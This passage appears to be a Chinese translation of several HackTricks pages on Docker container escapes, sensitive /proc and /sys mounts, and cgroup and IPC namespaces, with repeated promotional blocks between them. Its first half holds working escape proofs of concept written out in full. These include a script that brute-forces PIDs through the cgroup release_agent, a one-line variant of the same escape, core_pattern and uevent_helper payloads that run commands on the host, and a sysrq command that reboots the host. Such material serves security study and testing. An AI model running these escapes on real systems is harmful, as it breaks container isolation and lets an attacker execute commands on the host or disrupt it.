2. **准备有效载荷：** 编写包含要在主机上执行的命令的有效载荷脚本，并使其可执行。
3. **设置Cgroup：** 挂载和配置cgroup。设置`notify_on_release`标志以确保在释放cgroup时执行有效载荷。
4. **暴力破解PID：** 循环遍历潜在的PID，将每个猜测的PID写入`release_agent`文件。这实际上将有效载荷脚本设置为`release_agent`。
5. **触发和检查执行：** 对于每个PID，将cgroup的`cgroup.procs`写入，如果PID正确，则触发`release_agent`的执行。循环将继续，直到找到有效载荷脚本的输出，表示成功执行。

博客文章中的PoC：

```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Docker release\_agent cgroups escape

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

**有关更多详细信息，请参阅**[**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**。** 这只是一个摘要：

原始PoC:

```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```

证明概念（PoC）演示了通过创建`release_agent`文件并触发其调用以在容器主机上执行任意命令的方法。以下是涉及的步骤详细说明：

1. **准备环境：**

* 创建一个目录`/tmp/cgrp`，用作cgroup的挂载点。
* 将RDMA cgroup控制器挂载到此目录。如果缺少RDMA控制器，建议使用`memory` cgroup控制器作为替代方案。

```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```

2. **设置子Cgroup:**

* 在挂载的cgroup目录中创建一个名为"x"的子cgroup。
* 通过向其notify\_on\_release文件写入1，为"x" cgroup启用通知。

```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```

3. **配置释放代理:**

* 从 /etc/mtab 文件中获取容器在主机上的路径。
* 然后配置 cgroup 的 release\_agent 文件，以执行位于获取的主机路径上的名为 /cmd 的脚本。

```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```

4. **创建和配置/cmd脚本:**

* 在容器内创建/cmd脚本，并配置其执行ps aux命令，将输出重定向到容器中名为/output的文件中。指定主机上/output的完整路径。

```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```

5. **触发攻击:**

* 在"x"子cgroup中启动一个进程，然后立即终止。
* 这将触发`release_agent`（即/cmd脚本）在主机上执行ps aux命令，并将输出写入容器内的/output。

```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Sensitive Mounts

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险，包括扩大攻击面和信息泄露。这些目录包含敏感文件，如果配置错误或被未经授权的用户访问，可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如，不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护，因为其基于路径的特性，使`/host/proc`无保护。

**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)\*\* \*\*中找到每个潜在漏洞的更多详细信息。

## procfs漏洞

### `/proc/sys`

此目录允许通过`sysctl(2)`修改内核变量，并包含几个相关子目录：

#### **`/proc/sys/kernel/core_pattern`**

* 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
* 允许定义一个程序，在核心文件生成时使用前128个字节作为参数。如果文件以管道`|`开头，这可能导致代码执行。
* **测试和利用示例**：

```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入权限
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & # 触发处理程序
```

#### **`/proc/sys/kernel/modprobe`**

* 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中详细描述。
* 包含内核模块加载器的路径，用于加载内核模块。
* **检查访问权限示例**：

```bash
ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
```

#### **`/proc/sys/vm/panic_on_oom`**

* 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中引用。
* 一个全局标志，控制当发生OOM条件时内核是崩溃还是调用OOM killer。

#### **`/proc/sys/fs`**

* 根据[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)，包含有关文件系统的选项和信息。
* 写入权限可能导致对主机的各种拒绝服务攻击。

#### **`/proc/sys/fs/binfmt_misc`**

* 允许根据其魔术数字为非本机二进制格式注册解释器。
* 如果`/proc/sys/fs/binfmt_misc/register`可写，可能导致特权升级或root shell访问。
* 相关利用和解释：
* [通过binfmt\_misc实现的简易rootkit](https://github.com/toffan/binfmt_misc)
* 深入教程：[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

### `/proc`中的其他内容

#### **`/proc/config.gz`**

* 如果启用了`CONFIG_IKCONFIG_PROC`，可能会显示内核配置。
* 对攻击者有用，以识别运行中内核中的漏洞。

#### **`/proc/sysrq-trigger`**

* 允许调用Sysrq命令，可能导致立即系统重启或其他关键操作。
* **重启主机示例**：

```bash
echo b > /proc/sysrq-trigger # 重启主机
```

#### **`/proc/kmsg`**

* 显示内核环形缓冲区消息。
* 可帮助内核利用、地址泄漏和提供敏感系统信息。

#### **`/proc/kallsyms`**

* 列出内核导出的符号及其地址。
* 对于内核利用开发至关重要，尤其是为了克服KASLR。
* 地址信息受`kptr_restrict`设置为`1`或`2`的限制。
* 详细信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。

#### **`/proc/[pid]/mem`**

* 与内核内存设备`/dev/mem`交互。
* 在历史上容易受到特权升级攻击。
* 更多信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。

#### **`/proc/kcore`**

* 以ELF核心格式表示系统的物理内存。
* 读取可能泄露主机系统和其他容器的内存内容。
* 大文件大小可能导致读取问题或软件崩溃。
* 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。

#### **`/proc/kmem`**

* `/dev/kmem`的替代接口，表示内核虚拟内存。
* 允许读取和写入，因此可以直接修改内核内存。

#### **`/proc/mem`**

* `/dev/mem`的替代接口，表示物理内存。
* 允许读取和写入，修改所有内存需要解析虚拟到物理地址。

#### **`/proc/sched_debug`**

* 返回进程调度信息，绕过PID命名空间保护。
* 显示进程名称、ID和cgroup标识符。

#### **`/proc/[pid]/mountinfo`**

* 提供有关进程挂载命名空间中挂载点的信息。
* 显示容器`rootfs`或镜像的位置。

### `/sys`漏洞

#### **`/sys/kernel/uevent_helper`**

* 用于处理内核设备`uevents`。
* 写入`/sys/kernel/uevent_helper`可以在`uevent`触发时执行任意脚本。
* **利用示例**： %%%bash

### 创建有效载荷

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

### 从OverlayFS挂载的容器中查找主机路径

host\_path=$(sed -n 's/.*\perdir=(\[^,]*).\*/\1/p' /etc/mtab)

### 将uevent\_helper设置为恶意助手

echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper

### 触发uevent

echo change > /sys/class/mem/null/uevent

### 读取输出

cat /output %%%

#### **`/sys/class/thermal`**

* 控制温度设置，可能导致 DoS 攻击或物理损坏。

#### **`/sys/kernel/vmcoreinfo`**

* 泄露内核地址，可能危及 KASLR。

#### **`/sys/kernel/security`**

* 包含 `securityfs` 接口，允许配置类似 AppArmor 的 Linux 安全模块。
* 访问可能使容器能够禁用其 MAC 系统。

#### **`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`**

* 提供与 NVRAM 中的 EFI 变量交互的接口。
* 配置错误或利用可能导致笔记本变砖或主机无法启动。

#### **`/sys/kernel/debug`**

* `debugfs` 为内核提供了一个“无规则”调试接口。
* 由于其不受限制的特性，存在安全问题的历史。

### 参考资料

* <https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts>
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


# Namespaces

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### **PID命名空间**

{% content-ref url="/pages/9hjHjlFPDNqWnSs6PLDi" %}
[PID Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace)
{% endcontent-ref %}

### **挂载命名空间**

{% content-ref url="/pages/jkHtIQ3WydsFQYRJxSkQ" %}
[Mount Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace)
{% endcontent-ref %}

### **网络命名空间**

{% content-ref url="/pages/QZEam0P7MgEBpSp3qlvv" %}
[Network Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace)
{% endcontent-ref %}

### **IPC命名空间**

{% content-ref url="/pages/qcZ1WWiM2iaafoKv2NMG" %}
[IPC Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace)
{% endcontent-ref %}

### **UTS命名空间**

{% content-ref url="/pages/aALtQ5yzLJl5Fh5dVjTl" %}
[UTS Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace)
{% endcontent-ref %}

### 时间命名空间

{% content-ref url="/pages/ql0zPXp5r6dlbt4EWb6M" %}
[Time Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace)
{% endcontent-ref %}

### 用户命名空间

{% content-ref url="/pages/U0Uhd2L9tld93JnIkj4M" %}
[User Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace)
{% endcontent-ref %}

### CGroup命名空间

{% content-ref url="/pages/R8pvbDFcL7vpZfZFbPcg" %}
[CGroup Namespace](/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace)
{% endcontent-ref %}

<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# CGroup Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

CGroup命名空间是Linux内核的一个功能，为在命名空间内运行的进程提供**对cgroup层次结构的隔离**。Cgroups，即**控制组**，是一个内核功能，允许将进程组织成分层组，以管理和强制执行对系统资源（如CPU、内存和I/O）的**限制**。

虽然CGroup命名空间不像我们之前讨论的其他命名空间类型（PID、挂载、网络等）那样是一个单独的命名空间类型，但它与命名空间隔离的概念相关。**CGroup命名空间虚拟化了cgroup层次结构的视图**，因此在CGroup命名空间中运行的进程与在主机或其他命名空间中运行的进程对层次结构的视图不同。

### 工作原理：

1. 创建新的CGroup命名空间时，**它从基于创建进程的cgroup的cgroup层次结构视图开始**。这意味着在新的CGroup命名空间中运行的进程只会看到整个cgroup层次结构的子集，限于创建进程cgroup根目录下的cgroup子树。
2. 在CGroup命名空间中的进程将**将自己的cgroup视为层次结构的根**。这意味着从命名空间内部进程的角度来看，他们自己的cgroup会显示为根目录，他们无法看到或访问自己子树之外的cgroup。
3. CGroup命名空间不直接提供资源隔离；**它们仅提供cgroup层次结构视图的隔离**。**资源控制和隔离仍由cgroup**子系统（例如cpu、内存等）本身执行。

有关CGroups的更多信息，请查看：

{% content-ref url="/pages/H2m0sRTsCvQlDUn8X4OF" %}
[CGroups](/linux-hardening/privilege-escalation/docker-security/cgroups)
{% endcontent-ref %}

## 实验：

### 创建不同的命名空间

#### CLI

```bash
sudo unshare -C [--mount-proc] /bin/bash
```

通过挂载一个新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，可以确保新的挂载命名空间对该命名空间特定的进程信息具有准确和隔离的视图。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行 `unshare` 时没有使用 `-f` 选项时，会遇到错误，这是由于 Linux 处理新 PID（进程 ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，发起新 PID 命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。
* 在新命名空间中，`/bin/bash` 的第一个子进程变为 PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为 PID 1 具有接管孤立进程的特殊角色。Linux 内核随后会在该命名空间中禁用 PID 分配。

2. **后果**：

* 在新命名空间中，PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清除。这导致在创建新进程时，`alloc_pid` 函数无法分配新的 PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在 `unshare` 中使用 `-f` 选项来解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉出一个新进程。
* 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身成为新命名空间中的 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。

通过确保 `unshare` 使用 `-f` 标志运行，可以正确维护新的 PID 命名空间，使 `/bin/bash` 及其子进程能够在不遇到内存分配错误的情况下运行。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr  4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```

### 查找所有CGroup命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

\`\`\`bash nsenter -C TARGET\_PID --pid /bin/bash \`\`\` 此外，\*\*只有root用户才能进入另一个进程命名空间\*\*。而且，\*\*没有指向其他命名空间的描述符\*\*（比如\`/proc/self/ns/cgroup\`），\*\*无法进入\*\*其他命名空间。

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

</details>


# IPC Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

IPC（进程间通信）命名空间是Linux内核的一个功能，提供对System V IPC对象（如消息队列、共享内存段和信号量）的**隔离**。这种隔离确保**不同IPC命名空间中的进程不能直接访问或修改彼此的IPC对象**，为进程组之间提供了额外的安全性和隐私层。

### 工作原理：

1. 创建新IPC命名空间时，它将以一个**完全隔离的System V IPC对象集合**开始。这意味着运行在新IPC命名空间中的进程默认情况下无法访问或干扰其他命名空间或主机系统中的IPC对象。
2. 在命名空间内创建的IPC对象仅对该命名空间内的进程**可见和可访问**。每个IPC对象在其命名空间内由唯一键标识。尽管在不同命名空间中键可能相同，但对象本身是隔离的，无法跨命名空间访问。
3. 进程可以使用`setns()`系统调用在命名空间之间移动，或者使用带有`CLONE_NEWIPC`标志的`unshare()`或`clone()`系统调用创建新命名空间。当进程移动到新命名空间或创建新命名空间时，它将开始使用与该命名空间关联的IPC对象。

## 实验：

### 创建不同的命名空间

#### 命令行界面

```bash
sudo unshare -i [--mount-proc] /bin/bash
```

通过挂载一个新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，可以确保新的挂载命名空间对该命名空间特定的进程信息具有准确和隔离的视图。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行 `unshare` 时没有使用 `-f` 选项时，会出现错误，这是由于 Linux 处理新 PID（进程 ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，发起新 PID 命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。
* 在新命名空间中，`/bin/bash` 的第一个子进程变为 PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为 PID 1 具有接管孤立进程的特殊角色。Linux 内核随后会禁用该命名空间中的 PID 分配。

2. **后果**：

